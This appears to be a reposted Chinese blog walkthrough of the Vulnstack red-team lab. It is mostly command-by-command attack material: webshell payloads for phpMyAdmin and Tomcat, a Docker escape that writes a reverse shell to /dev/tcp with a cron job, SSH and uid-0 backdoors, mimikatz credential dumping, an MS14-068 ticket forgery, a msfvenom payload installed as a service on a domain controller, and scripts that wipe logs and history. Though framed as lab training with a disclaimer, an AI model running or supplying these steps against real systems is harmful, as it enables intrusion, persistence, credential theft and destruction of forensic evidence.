ATT&CK实战系列——红队实战

Posted Fatesec

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ATT&CK实战系列——红队实战相关的知识,希望对你有一定的参考价值。

一、环境配置

vlunstack是红日安全团队出品的一个实战环境,具体介绍请访问:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

拓扑结构


我这里大致设置了一下不想改内网ip段了,ubuntu外网ip:192.168.1.136

环境机器开机密码
ubuntu:ubuntu域成员机器
douser:Dotest123
administrator:Test2008

环境是在Ubuntu上用docker做的,需要启动docker容器


都开开就完事了嗷

二、前期信息收集

使用nmap对当前外网ip进行扫描

nmap -sV 192.168.1.136 -n

Tomcat CVE-2017-126155


可以直接使用put方法写入shell

s2-045 RCE



也是root

phpmyadmin cve-2018-12613

未授权直接进入phpmyadmin

远程文件包含payload:
http://http://192.168.1.136:2003/?target=db_sql.php%253f/…/…/…/…/…/…/…/…/etc/passwd

包含session文件
首先在SQL处执行 select ‘<?php eval($_POST[a]);?>’;


复制下来cookie,构造payload

http://192.168.1.136:2003/?target=db_sql.php%253f/../../../../../../../../tmp/sess_66987e701a84794da7a7a7da72653e76


phpinfo行,刚刚内个一句话木马得换成如下

SELECT `<?php fputs(fopen("a.php","w"),'<?php eval($_POST[a]);?>');?>`; 


蚁剑连接

docker 逃逸

判断是否为docker 环境
1、使用下面命令,查看是否存在 dockerrnv 文件
ls -alh /.dockerenv

2、查看系统进程的cgroup信息
cat /proc/1/cgroup
众所周知docker一般getshell都是root权限

利用特权模式逃逸
如果是通过特权模式启动容器,就可以获得大量设备文件的访问权限,因为管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。当docker容器内拥有宿主机文件读写权限时,可以通过写ssh密钥、计划任务等方式达到逃逸。

创建一个文件夹,将宿主机根目录挂载至容器目录下

查看磁盘文件: fdisk -l
新建目录以备挂载: mkdir /test
将宿主机/dev/sda1 目录挂载至容器内 /test: mount /dev/sda1 /test
即可写文件获取权限或数据

写入一个反弹 shell 脚本:

touch /test/tmp/test.sh
chmod +x /test/tmp/test.sh
ls -ll /test/tmp/test.sh
echo '#!/bin/bash' >> /test/tmp/test.sh
echo '/bin/bash -i >& bash -i >& /dev/tcp/192.168.1.128/13122 0>&1'  >> /test/tmp/test.sh
或者
sed -i '$a\\/bin/bash -i  >&  bash -i >& /dev/tcp/1192.168.1.133/13122 0>&1' /test/tmp/test.sh
cat /test/tmp/test.sh

写入任务计划

sed -i '$a*/2 *    * * *    root  bash /tmp/test.sh ' /test/etc/crontab
cat /test/etc/crontab


nc -lvvp 13122 换成了kali2020才逃逸成功,在docker 逃逸过程中,使用crontab 提权到root 权限

权限维持

SSH 软连接后门,软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而su在pam_rootok只检测uid 0即可认证成功,这样就导致了可以使用任意密码登录。

ln -sf /usr/sbin/sshd /tmp/su
/tmp/su -oPort=888

用户名Ubuntu 任意密码登录

添加 uid 0 用户后门

useradd -p `openssl passwd 123456`  -o -u 0 hacker

三、横向渗透

配置代理

直接用EW做代理

./ew_for_linux64 -s ssocksd -l 8888

kali设置代理

vim /etc/proxychains.conf 

设置 proxychains bash 全局终端

proxychains bash 

信息收集

id                  查看当前用户的权限和所在的管理组
uname -a            查看linux版本内核信息
cat /proc/version   查看内核信息
cat /etc/*release   查看linux发行信息
dpkg -l             查看安装的包
crontab -l          是否有计划任务
/sbin/ifconfig -a   查看ip地址等
cat /etc/passwd     普通用户可以查看用户的信息
cat /etc/shadow     账号密码信息
cat /root/.mysql_history 查看mysql历史操作
cat /root/.bash_history 查看用户指令历史记录
find / -perm -u=s -type f 2>/dev/null        匹配高权限的文件,看是否有利用点


找内网主机存活

for k in $( seq 1 255);do ping -c 1 192.168.183.$k|grep "ttl"|awk -F "[ :]+" 'print $4'; done

nmapC段探测

nmap -sn -PE -T4 192.168.183.0/24


nmap -sV -sT -Pn -n 192.168.183.129-130

MS17-010

打着玩试试
扫描模块 auxiliary/scanner/smb/smb_ms17_010

漏洞利用模块 exploit/windows/smb/ms17_010_eternalblue

set payload windows/x64/meterpreter/bind_tcp 安照网上换了一个payload直接就成功了离谱,默认的payload不行


域内信息收集

ipconfig


Net group "domain controllers" /domain

走一遍开启远程桌面流程,先添加用户

发生错误emmm,先关闭防火墙把

run post/windows/manage/enable_rdp

刚刚把编码处理了一下,原来是密码强度不够

chcp 65001
net user flag asd123ASD! /add
net localgroup administrators flag /add

开启3389

run post/windows/manage/enable_rdp
或者
REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

MS14-068

该漏洞可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。
1.域控没有打MS14-068的补丁
2.攻击者拿下了一台域内的普通计算机,并获得普通域用户以及密码/hash值,以及用户的suid

Ms14-068.exe 下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
上传mimikatz

privilege::debug   提取权限
sekurlsa::logonpasswords   抓取密码


整理信息

USER:douser
Domain:DEMO.COM
NTLM:bc23b0b4d5bf5ff42bc61fb62e13886e
SID:S-1-5-21-979886063-1111900045-1414766810-1107
PASSWORD:Dotest123

上传MS14-068

MS14-068.exe -u douser@DEMO.COM -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130



通过 mimikatz 导入TGT票据将写入,从而提升为域管理员

kerberos::purge
kerberos::ptc TGT_douser@DEMO.COM.ccache

dir \\\\WIN-ENS2VR5TR3N\\c$

上线域控

生产一个正向连接payload:

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8989 -f exe-service -o /root/360.exe

将 payload 上传到跳板机:

关闭域控防火墙,将payload复制到域控:

sc \\\\WIN-ENS2VR5TR3N create ProFirewall binpath= "netsh advfirewall set allprofiles state off"
xcopy 360.exe  \\\\WIN-ENS2VR5TR3N\\c$

创建服务成功,开启防火墙,运行 payload
sc \\\\WIN-ENS2VR5TR3N create Startup binpath= "C:\\360.exe"
sc \\\\WIN-ENS2VR5TR3N start ProFirewall
sc \\\\WIN-ENS2VR5TR3N start Startup


设置监听,获取shell

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.130
set lport 8989


进程迁移

ps #获取目标主机正在运行的进程
getpid #查看meterpreter shell的进程号
steal_token #窃取令牌 
migrate 1584


然后使用migrate 1584命令将shell移到PID为1584的explorer.exe进程里,因为该进程是一个稳定的应用。

kiwi模块
使用kiwi模块需要system权限,所以我们在使用该模块之前需要将当前MSF中的shell提升为system。提到system有两个方法,一是当前的权限是administrator用户,二是利用其它手段先提权到administrator用户。然后administrator用户可以直接getsystem到system权限。

load kiwi #加载kiwi模块
creds_all #该命令可以列举系统中的明文密码


开启3389

run post/windows/manage/enable_rdp
或者
REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
administrator  DEMO.COM  Test2009


痕迹清理

清除命令历史记录

histroy -r          #删除当前会话历史记录
history -c          #删除内存中的所有命令历史
rm .bash_history   #删除历史文件中的内容
HISTZISE=0          #通过设置历史命令条数来清除所有历史记录
在隐蔽的位置执行命令
使用vim打开文件执行命令

:set history=0
:!command

linux日志文件
/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息
完全删除日志文件:

cat /dev/null > filename
: > filename
> filename
echo "" > filename
echo > filename
针对性删除日志文件:

删除当天日志
sed  -i '/当天日期/'d  filename

一键清除脚本:
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c

windows

1.查看事件日志
run event_manager -i
2.删除事件日志
run event_manager -c
3.clearv命令清除目标系统的事件日志。

MSF

run event_manager -i 查看日志
run event_manager -c 删除事件日志

参考的大佬们博客:
https://blog.csdn.net/qq_38626043/article/details/119620612
https://blog.csdn.net/weixin_42918771/article/details/116207505
https://blog.csdn.net/a709046532/article/details/119917671
https://www.cnblogs.com/yuzly/p/10859520.html

本文仅作靶场实战教程,禁止将本文演示的技术方法用于非法活动,违者后果自负。

以上是关于ATT&CK实战系列——红队实战的主要内容,如果未能解决你的问题,请参考以下文章

ATT&CK实战系列——红队实战

ATT&CK实战系列——红队实战

ATT&CK实战系列——红队实战

ATT&CK实战系列——红队实战

ATT&CK实战系列——红队实战

ATT&CK实战系列——红队实战